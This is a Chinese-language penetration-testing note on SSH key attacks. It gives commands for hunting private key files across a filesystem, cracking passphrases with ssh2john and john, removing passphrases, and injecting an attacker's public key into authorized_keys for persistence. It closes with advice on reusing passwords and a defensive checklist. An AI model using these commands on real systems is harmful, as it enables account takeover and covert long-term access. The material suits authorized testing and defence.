SSH 私钥获取、口令破解与公钥注入
SSH 密钥认证的两端都可以被利用:私钥泄露直接给出入口(配合口令破解与去口令),authorized_keys 写入给出稳定会话。相比口令爆破,密钥路线不产生大量认证失败日志,且注入一次即可长期有效,是拿到低权 shell 后常见的固化手段。
仅限授权环境
以下操作仅用于授权测试与实验环境。公钥注入属于明显的持久化改动,测试结束后应清理。
私钥获取面
| 途径 | 说明 |
|---|---|
| LFI / 路径穿越 | 直接读用户家目录下的私钥,见 LFI 任意文件读取 |
| 备份文件 | 站点备份、打包文件里常见私钥 |
| 配置目录 | 自动化脚本、部署配置里引用的密钥 |
| 世界可读家目录 | 权限配置错误导致其他用户可读 |
全盘搜索私钥文件:
find / -name "id_*" -not -name "*.pub" 2>/dev/null
私钥口令破解
先用 ssh2john 转成可破解格式,再交给 john:
ssh2john.py id_ed25519 > key.hash
john --wordlist=rockyou.txt key.hash
验证候选口令——能输出公钥即口令正确:
ssh-keygen -y -P '<pw>' -f key
口令确认后可直接去掉口令,方便脚本化使用:
ssh-keygen -p -P '<旧口令>' -N "" -f key
使用私钥登录
chmod 600 key && ssh -i key user@host
权限过宽时 ssh 会拒绝使用该私钥,chmod 600 不可省。
公钥注入
拿到低权 shell 后,注入自己的公钥即可获得稳定会话:
ssh-keygen -t ed25519 # 攻击机生成密钥对
echo '<pub>' >> ~/.ssh/authorized_keys # 写入目标
chmod 700 ~/.ssh && chmod 600 ~/.ssh/authorized_keys
权限不对时 sshd 会直接忽略 authorized_keys,700 / 600 两步都要做到位。
损坏私钥修复
OpenSSH 新格式私钥以 openssh-key-v1\0 magic 开头。头部字节被破坏时,可按格式重写前 15 字节恢复解析——正文未损坏时不需要重新生成密钥。
复核要点
- 确认私钥对应的公钥确实在目标
authorized_keys里,避免拿着钥匙找错门。 - 部署可能限制密钥来源或强制命令(
from=/command=),登录后先确认实际身份。 - 私钥口令也常常与其他服务口令复用,顺手重放一轮。
防御建议
- 私钥一律设置加密口令,泄露的裸私钥等于直接交出账号。
- 私钥文件权限收敛为
600,家目录不允许其他用户可读。 authorized_keys使用from=、command=限制来源与可执行命令。- 定期审计
authorized_keys与私钥存放位置,清理无人认领的公钥。 - 疑似泄露后立即吊销对应公钥并轮换密钥对。